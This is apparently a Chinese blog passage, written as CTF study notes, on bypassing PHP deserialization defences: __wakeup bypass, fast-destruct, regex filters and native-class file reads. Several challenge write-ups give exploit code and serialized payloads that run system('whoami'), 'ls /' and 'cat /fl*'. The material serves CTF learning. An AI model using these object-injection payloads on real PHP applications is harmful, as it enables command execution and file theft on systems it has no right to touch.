O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
成功
使用引用
这个方法的条件是:1.类中有多个变量 2.在触发点函数中使用或赋值了变量
修改一下上面的demo
highlight_file(__FILE__);
class Man{public $info;public $name;function __wakeup(){echo "wakeup is call";$this->name='';}function __destruct(){$info='helloworld';if ($name){echo file_get_contents("flag.php");}}
unserialize($_GET['a'];
如果要读取flag,name不能为空,可是name在__wakeup
方法中就被置为空,可以利用变量引用绕过,变量引用就是使用&符号,如,$a=&$b;
a被赋值为b的引用,那么 a , a, a,b,实际指向同一块内存,修改其中一个,另外一个也会随之改变
在exp中,这样写
$a=new Man();
$a->info=&$a->name;
echo serialize($a);
把info设置为name的引用,它们使用同一块内存,在__wakeup
中即使name被置为空,但在__destruct中info又被赋予了值,name的值也同样被改为helloworld,就能成功读取flag
所以利用条件为:1.类中有多个变量 2.在触发点函数中使用或赋值了变量
fast-destruct
利用条件:__destruct
和__wakeup
不在同一个类
demo
<?php
highlight_file(__FILE__);
class A
{public $info;private $end = "1";public function __destruct(){$this->info->func();}
}
class B
{public $end;public function __wakeup(){$this->end = "exit();";echo '__wakeup';}public function __call($method, $args){eval($this->end);}
}
unserialize($_POST['data']);
如果传正常payload,会触发B的__wakeup,导致命令无法执行,可是如果破坏一下序列化数据结构,导致B对象不能被正常还原,出现了异常,php会把这个不正常的数据当做垃圾销毁回收,提前触发__destruct
,原本的方法执行顺序改变,B的__wakeup
的执行被延后
正常 ->O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";s:10:"phpinfo();";}s:3:"end";s:1:"1";}
减少闭合} ->O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";s:10:"phpinfo();";}s:3:"end";s:1:"1";
增加; ->O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";s:10:"phpinfo();";}s:3:"end";s:1:"1";;}
修改表示长度的值 ->O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";s:10:"phpinfo();";}s:6:"end";s:1:"1";} #3改为了6
最后一个修改表示长度的值影响版本是:7.4.x -7.4.30,8.x,大佬文章:https://github.com/php/php-src/issues/9618
在本地测试时发现一个小问题,就是如果__wakeup
里只有一个die,那么这个die执行了,反序列化还是会完整进行,能够执行命令,不知道是不是我的demo问题,求大佬告知
throw Exception绕过
如果在反序列化后,主动抛出一个异常,__destuct不会被执行,在上面__wakeup
的demo,最后加上 throw new Exception(“No!”);
如果正常传入,会爆出异常,无法执行
fast-destruct的破坏数据结构的方法可以绕过,结束
非公有属性绕过
对于private,protected等属性,为与public属性区分开,php在序列化private属性时,会在属性名前加上\0(对象类名)\0,protected会在属性名前加上\0*\0,\0是不可见字符,无法直接打印出来,url编码为%00后,方可显示,如:
对于php版本7.1+,像我本地的7.3.4,反序列化对象的某个属性时,即使这个属性是private或protected,遇到的是公有属性序列化字符串,也会成功反序列化,如:
如果版本不符,就只能通过url编码传入数据
正则匹配序列化绕过
这一个知识点我还没遇到过(刷题太少,玩星穹太多导致的),借鉴大佬的文章来学习:https://blog.csdn.net/m0_64815693/article/details/127982134,以后做题有遇到再补充
preg_match(‘/^O:\d+/’)
这个就是匹配字符串开头是不是O:,且:后面第一个字符是不是数字,正常序列化对象字符串都是,写exp时,我们可以把对象放入一个数组中再序列化,反序列化会先还原数组,再还原对象,两个过程互不干扰,这样序列化字符串开头就是a:\d,绕过这个正则,如:
$a=new Man();
$b=array($a);
echo serialize($b);
结果
a:1:{i:0;O:3:"Man":3:{s:4:"name";s:5:"hello";s:4:"info";s:5:"wrold";s:3:"age";i:10;}}
大佬及网上的其他文章都介绍了另一种方法,就是O:后的数字前加上+
,如O:+3
,但我在本地实验时,这个方法会报错,导致反序列化失败,应该是php版本问题
preg_match('/^[Oa]:\d+/')
如果是这样匹配,转为array没办法绕过,可以尝试转为C,查阅资料得知,C表示的用户自定义类,但我们利用的明明是php的原生类,具体原理可看上面大佬的另一个文章,https://blog.csdn.net/m0_64815693/article/details/130038356
我简单记录一下利用方法,1.首先找所有实现了serialize接口的类,如下:
ArrayObject
ArrayIterator
RecursiveArrayIterator
SplDoublyLinkedList
SplQueue
SplStack
SplObjectStorage
选择上面的一个类,生成实例对象,随便赋值一个属性为我们pop链的起点类即可,exp:如下
$a=new A();
$a->info=new B();
$c=new ArrayObject();
$c->a=$a;
echo serialize($c);
// C:11:"ArrayObject":117:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";s:17:"system('whoami');";}s:3:"end";s:1:"1";}}}
这个方法只能绕过正则,wakeup和异常无法绕过
类名大小写不敏感
php反序列化对类名的大小写不敏感,在我有类A和类B的demo中,传下面的字符串也能成功
O:1:"a":2:{s:4:"info";O:1:"b":1:{s:3:"end";s:17:"system('whoami');";}s:3:"end";s:1:"1";}
16进制绕过关键字检测
序列化中表示字符串的s,如果为大写,后面跟十六进制数据,在反序列化时也能成功读取
原生类利用
php有一些原生类可以用来扫描目录或读取文件,但php4.3之后,这些原生类被禁止用serialize或unserialize来处理,除非题目能主动生成这个对象,所以感觉用处有限,就先简单记录一下这些原生类的使用,以后遇到相关题型再来补充
从这篇大佬的文章来学习:https://blog.csdn.net/qq_39947980/article/details/136723533
能扫目录的三个类
DirectoryIterator(支持glob://协议),如:DirectoryIterator(glob://*flag*)
FilesystemIterator(继承自1,同上),也可以直接输入路径,如:new FilesystemIterator('./')
GlobIterator(相等于自带glob协议的DirectoryIterator)
存在toString方法,直接echo 只能打印第一个文件,foreach遍历可以打印所有文件
文件读取类
SplFileObject :存在toString方法,同目录扫描类,直接echo返回第一行内容,遍历才能读取所有内容,或者配合伪协议读取文件
题目实战
反序列化题目代码都挺长的,只复制关键部分过来
网鼎杯 2020 青龙组AreUSerialz
关键部分,这一题只有一个类,可以利用的关键部分如下:
private function read() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}
利用file_get_contents
获取flag,源码提示就在flag.php因此控制filename为flag.php即可,考点在这里:
public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}
function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}
function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}
process和__destruct这两个地方,把op设为数字2即可,php弱类型比较是相等的
is_valid这个函数检查序列化字符串是不是都是有效字符,题目类的属性都是protect,如果直接用url编码输出,%00就是\0,无法通过检查,看看题目php版本
7.4.3,直接把类的属性都改为public即可,最后payload
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
[GDOUCTF 2023]反方向的钟
题目在nssctf平台:https://www.nssctf.cn/problem/3723
题目关键部分:
class school{public $department;public $headmaster;public function __construct($department,$ceo){$this->department = $department;$this->headmaster = $ceo;}public function IPO(){if($this->headmaster == 'ong'){echo "Pretty Good ! Ctfer!\n";echo new $_POST['a']($_POST['b']);}}public function __wakeup(){if($this->department->hahaha()) {$this->IPO();}}
}
if(isset($_GET['d'])){unserialize(base64_decode($_GET['d']));
}
?>
源码提示flag.php,且在schoo类中的IPO方法中,有帮我们new 对象,那就考虑原生类SplFileObject读取flag,
很简单的pop链,school:__wakeup
->classrom:haha
->classrom->name=new teahcher('ing','department')
->school:IPO
exp:
$a=new school();
$a->department=new classroom();
$a->department->name='one class';
$a->department->leader=new teacher('ing','department');
$a->headmaster='ong';
echo base64_encode(serialize($a));
[GHCTF 2024 新生赛]ezzz_unserialize
题目在nssctf平台:https://www.nssctf.cn/problem/5162
题目关键部分:
class Heraclqs{public $grape;public $blueberry;public function __invoke(){//blueberry=aW8if(md5(md5($this -> blueberry)) == 123) {return $this -> grape -> hey;}}
}
这里需要blueberry两次md5后,以123开头,要跑脚本,大佬脚本如下
import hashlib
import itertoolsdef brute_force_md5():# 使用字母表和数字进行字符的尝试charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'# 迭代尝试所有可能的字符组合for text in itertools.product(charset, repeat=3):text = ''.join(text)hash1 = hashlib.md5(text.encode()).hexdigest()hash2 = hashlib.md5(hash1.encode()).hexdigest()# 检查是否满足条件if hash2.startswith("123") and hash2[3].isalpha():# 输出满足条件的字符串print("满足条件的字符串:", text + "(两次MD5加密后为:" + hash2 + ")")break# 运行爆破
brute_force_md5()
构造pop链时,可能有多个类的都有同样符合的触发条件的魔术方法,要选能简单利用的
pop链的终点选为这个类
class E{public $e;public function __get($arg1){array_walk($this, function ($Monday, $Tuesday) {$Wednesday = new $Tuesday($Monday);foreach($Wednesday as $Thursday){echo ($Thursday.'<br>');}});}
}
array_walk就是遍历对象或数组,对其中的元素应用传入的回调方法,然后回调方法中有new 生成对象,所以一样用原生类来做,而且有foreach,扫描目录能获得完整信息
exp:
$a=new Sakura();
$a->apple=new UkyoTachibana();
$a->apple->banana=new BasaraKing();
$a->apple->banana->orange=new Heraclqs() ;
$a->apple->banana->orange->blueberry='aW8';
$a->apple->banana->orange->grape=new E();
#扫描根目录
$a->apple->banana->orange->grape->DirectoryIterator='/';
#读取flag
$a->apple->banana->orange->grape->SplFileObject='php://filter/read=convert.base64-encode/resource=/1_ffffffflllllagggggg';
读取flag时还是习惯性的用了过滤器
newstarctf2023 more fast
buu上的,源码关键部分
$a = @unserialize($_POST['fast']);
throw new Exception("Nope");
题目也提示more fast,所以这题直接破坏数据结构,fast-destruct就ok
exp:
$a= new Start();
$a->errMsg=new Crypto();
$a->errMsg->obj=new Reverse();
$a->errMsg->obj->func=new Pwn();
$a->errMsg->obj->func->obj=new Web();
$a->errMsg->obj->func->obj->func='system';
$a->errMsg->obj->func->obj->var='ls /';
echo serialize($a);
#正常
O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}
#少一个},fast-destruct
O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}
#通配符绕过正则,读取flag
O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:8:"cat /fl*";}}}}}
!
Web_php_unserialize
来自攻防世界
这一题源码不长:
<?php
class Demo { private $file = 'index.php';public function __construct($file) { $this->file = $file; }function __destruct() { echo @highlight_file($this->file, true); }function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; } }
}
if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else {@unserialize($var); }
} else { highlight_file("index.php");
}
?>
flag应该就在fl4g.php,要绕过__wakeup
,还有正则,这个正则就是匹配了O,C:后跟一个数字,可以在用O:+4绕过,由于不是匹配开头,无法用数组绕过
看看php版本,能不能修改属性过__wakeup
版本正确,可以修改,exp如下:
class Demo { private $file = 'fl4g.php';}
$a=new Demo();
$str=str_replace("O:4","O:+4",serialize($a));
$str=str_replace(':1:',':4:',$str);
echo base64_encode($str);
!
成功
相关文章:

php其他反序列化知识学习
简单总结一下最近学习的,php其他的一些反序列化知识 phar soap session 其他 __wakeup绕过gc绕过异常非公有属性,类名大小写不敏感正则匹配,十六进制绕过关键字检测原生类的利用 phar 基础知识 在 之前学习的反序列化利用中࿰…...

浏览器工作原理与实践--HTTP/1:HTTP性能优化
谈及浏览器中的网络,就避不开HTTP。我们知道HTTP是浏览器中最重要且使用最多的协议,是浏览器和服务器之间的通信语言,也是互联网的基石。而随着浏览器的发展,HTTP为了能适应新的形式也在持续进化,我认为学习HTTP的最佳…...
idea 使用springboot helper 创建springboot项目
Spring Boot Helper 是一个在 IntelliJ IDEA 中用于快速创建 Spring Boot 项目的插件。通过这个插件,开发者可以简化 Spring Boot 项目的创建过程,并快速生成所需的依赖和配置文件。以下是使用 Spring Boot Helper 插件创建 Spring Boot 项目的详细步骤&…...

关于 Amazon DynamoDB 的学习和使用
文章主要针对于博主自己的技术栈,从Unity的角度出发,对于 DynamoDB 的使用。 绿色通道: WS SDK for .NET Version 3 API Reference - AmazonDynamoDBClient Amazon DynamoDB Amazon DynamoDB is a fast, highly scalable, highly available,…...

【fastapi】搭建第一个fastapi后端项目
本篇文章介绍一下fastapi后端项目的搭建。其实没有什么好说的,按照官方教程来即可:https://fastapi.tiangolo.com/zh/ 安装依赖 这也是我觉得python项目的槽点之一。所有依赖都安装在本地,一旦在别人电脑上编写项目就又要安装一遍。很扯淡。…...
Qt/QML编程之路:图片进度条的实现(50)
要实现进度条,而进度条是通过一个图片来展示的,比如逐渐增大的音量,或者逐步增大的车速,通过图片显示的效果肯定更好一些。最直接的想法是通过一个透明的rectagle,把不想让看到的遮住,实际上这种方法不可行。 import QtQuick 2.5 import QtQuick.Window 2.2 import QtGra…...

OOCT WPF_D3D项目报错无法加载依赖项
运行示例项目报错缺少dll,发现运用了这个大老李,通过添加PATH路径也无法解决,看到debug文件夹下面没有其他的依赖项。 通过depneds工具可以看到 OCCTProxy_D3D.dll 缺少依赖项,图中的缺项都是OCCT生成的模块dll所以讲这些dll从..…...

模板方法模式:定义算法骨架的设计策略
在软件开发中,模板方法模式是一种行为型设计模式,它在父类中定义一个操作的算法框架,允许子类在不改变算法结构的情况下重定义算法的某些步骤。这种模式是基于继承的基本原则,通过抽象类达到代码复用的目的。本文将详细介绍模板方…...
es6对于变量的解构赋值(数组解构,对象解构,字符串解构,函数解构等)解析(2024-04-12)
1、数组的解构赋值 [ ] 1.1 数组解构的基本用法 ES6 允许按照一定模式,从数组和对象中提取值,对变量进行赋值,这被称为解构(Destructuring)。本质上叫模型匹配,等号两边的模型相同就可以对应上。 //以前…...

Flutter学习13 - Widget
1、Flutter中常用 Widget 2、StatelessWidget 和 StateFulWidget Flutter 中的 widget 有很多,但主要分两种: StatelessWidget无状态的 widget如果一个 widget 是最终的或不可变的,那么它就是无状态的StatefulWidget有状态的 widget如果一个…...

Django开发一个学生选课系统
在这个选课系统中,分为管理员和学生两种角色。 学生登录系统以后,只能看到选课信息。管理员登录以后,可以看到选课信息和其他的管理系统。 选课界面如下: 学生管理界面如下: 数据分析界面如下: 数据…...
Vue3项目搭建及文件结构
一. Vue3项目搭建 # 安装Vue CLI npm install -g vue/cli# 通过Vue CLI创建项目: vue create my-vue3-project# 当问到你想要使用哪个版本的Vue时,选择Vue3 # 完成配置后,CLI会自动安装依赖并创建项目 # 最后,启动你的Vue3项目cd…...

【机器学习】Logistic与Softmax回归详解
在深入探讨机器学习的核心概念之前,我们首先需要理解机器学习在当今世界的作用。机器学习,作为人工智能的一个重要分支,已经渗透到我们生活的方方面面,从智能推荐系统到自动驾驶汽车,再到医学影像的分析。它能够从大量…...

MATLAB Simulink仿真搭建及代码生成技术—01自定义新建模型模板
MATLAB Simulink仿真搭建及代码生成技术 目录 01-自定义新建模型模板点击运行:显示效果:查看模型设置: 01-自定义新建模型模板 新建模型代码如下: function new_model(modelname) %建立一个名为SmartAss的新的模型并打开 open_…...

【Java8新特性】二、函数式接口
这里写自定义目录标题 一、什么是函数式接口二、自定义函数式接口三、作为参数传递 Lambda 表达式四、四大内置核心函数式接口1、消费形接口2、供给形接口3、函数型接口4、断言形接口 一、什么是函数式接口 只包含一个抽象方法的接口,称为函数式接口。你可以通过 L…...
供应RTC5606H 芯片现货
长期供应各品牌芯片现货: NVP2443I NVP6324 RTC5606H NZ3802-A IRF100B201 IMX290LQR-G STM32F103C8T6TR STM32F103C8T6TR STM32F103CBT7TR TPS3823-33DBVR IMX326 TPS3823-33DBVR LPC55S69**D100 OCP2184QAD DT3001S23E1-30 EMP8734-33…...

洛谷-P1596 [USACO10OCT] Lake Counting S
P1596 [USACO10OCT] Lake Counting S - 洛谷 | 计算机科学教育新生态 (luogu.com.cn) #include<bits/stdc.h> using namespace std; const int N110; int m,n; char g[N][N]; bool st[N][N]; //走/没走 int dx[] {-1,-1,-1,0,0,1,1,1}; //八联通 int dy[] {-1,0,1,1,-1,1…...
基于双向长短期神经网络BILSTM的发生概率预测,基于GRU神经网络的发生概率预
目录 背影 摘要 LSTM的基本定义 LSTM实现的步骤 BILSTM神经网络 基于双向长短期神经网络BILSTM的发生概率预测,基于GRU神经网络的发生概率预 完整代码:基于双向长短期神经网络BILSTM的发生概率预测,基于GRU神经网络的发生概率预测资源-CSDN文库 https://download.csdn.net/d…...

对OceanBase中的配置项与系统变量,合法性检查实践
在“OceanBase 配置项&系统变量实现及应用详解”的系列文章中,我们已经对配置项和系统变量的源码进行了解析。当涉及到新增配置项或系统变量时,通常会为其指定一个明确的取值范围或定义一个专门的合法性检查函数。本文将详细阐述在不同情境下&#x…...

YOLOv8绝缘子边缘破损检测系统(可以从图片、视频和摄像头三种方式检测)
可检测图片和视频当中出现的绝缘子和绝缘子边缘是否出现破损,以及自动开启摄像头,进行绝缘子检测。基于最新的YOLO-v8训练的绝缘子检测模型和完整的python代码以及绝缘子的训练数据,下载后即可运行。(效果视频:YOLOv8绝…...
React 第五十五节 Router 中 useAsyncError的使用详解
前言 useAsyncError 是 React Router v6.4 引入的一个钩子,用于处理异步操作(如数据加载)中的错误。下面我将详细解释其用途并提供代码示例。 一、useAsyncError 用途 处理异步错误:捕获在 loader 或 action 中发生的异步错误替…...

【Oracle APEX开发小技巧12】
有如下需求: 有一个问题反馈页面,要实现在apex页面展示能直观看到反馈时间超过7天未处理的数据,方便管理员及时处理反馈。 我的方法:直接将逻辑写在SQL中,这样可以直接在页面展示 完整代码: SELECTSF.FE…...
MySQL 隔离级别:脏读、幻读及不可重复读的原理与示例
一、MySQL 隔离级别 MySQL 提供了四种隔离级别,用于控制事务之间的并发访问以及数据的可见性,不同隔离级别对脏读、幻读、不可重复读这几种并发数据问题有着不同的处理方式,具体如下: 隔离级别脏读不可重复读幻读性能特点及锁机制读未提交(READ UNCOMMITTED)允许出现允许…...
【位运算】消失的两个数字(hard)
消失的两个数字(hard) 题⽬描述:解法(位运算):Java 算法代码:更简便代码 题⽬链接:⾯试题 17.19. 消失的两个数字 题⽬描述: 给定⼀个数组,包含从 1 到 N 所有…...

关于nvm与node.js
1 安装nvm 安装过程中手动修改 nvm的安装路径, 以及修改 通过nvm安装node后正在使用的node的存放目录【这句话可能难以理解,但接着往下看你就了然了】 2 修改nvm中settings.txt文件配置 nvm安装成功后,通常在该文件中会出现以下配置&…...

Python实现prophet 理论及参数优化
文章目录 Prophet理论及模型参数介绍Python代码完整实现prophet 添加外部数据进行模型优化 之前初步学习prophet的时候,写过一篇简单实现,后期随着对该模型的深入研究,本次记录涉及到prophet 的公式以及参数调优,从公式可以更直观…...

【Java_EE】Spring MVC
目录 Spring Web MVC 编辑注解 RestController RequestMapping RequestParam RequestParam RequestBody PathVariable RequestPart 参数传递 注意事项 编辑参数重命名 RequestParam 编辑编辑传递集合 RequestParam 传递JSON数据 编辑RequestBody …...

【开发技术】.Net使用FFmpeg视频特定帧上绘制内容
目录 一、目的 二、解决方案 2.1 什么是FFmpeg 2.2 FFmpeg主要功能 2.3 使用Xabe.FFmpeg调用FFmpeg功能 2.4 使用 FFmpeg 的 drawbox 滤镜来绘制 ROI 三、总结 一、目的 当前市场上有很多目标检测智能识别的相关算法,当前调用一个医疗行业的AI识别算法后返回…...
【JavaSE】多线程基础学习笔记
多线程基础 -线程相关概念 程序(Program) 是为完成特定任务、用某种语言编写的一组指令的集合简单的说:就是我们写的代码 进程 进程是指运行中的程序,比如我们使用QQ,就启动了一个进程,操作系统就会为该进程分配内存…...

CVPR2025重磅突破:AnomalyAny框架实现单样本生成逼真异常数据,破解视觉检测瓶颈!
本文介绍了一种名为AnomalyAny的创新框架,该方法利用Stable Diffusion的强大生成能力,仅需单个正常样本和文本描述,即可生成逼真且多样化的异常样本,有效解决了视觉异常检测中异常样本稀缺的难题,为工业质检、医疗影像…...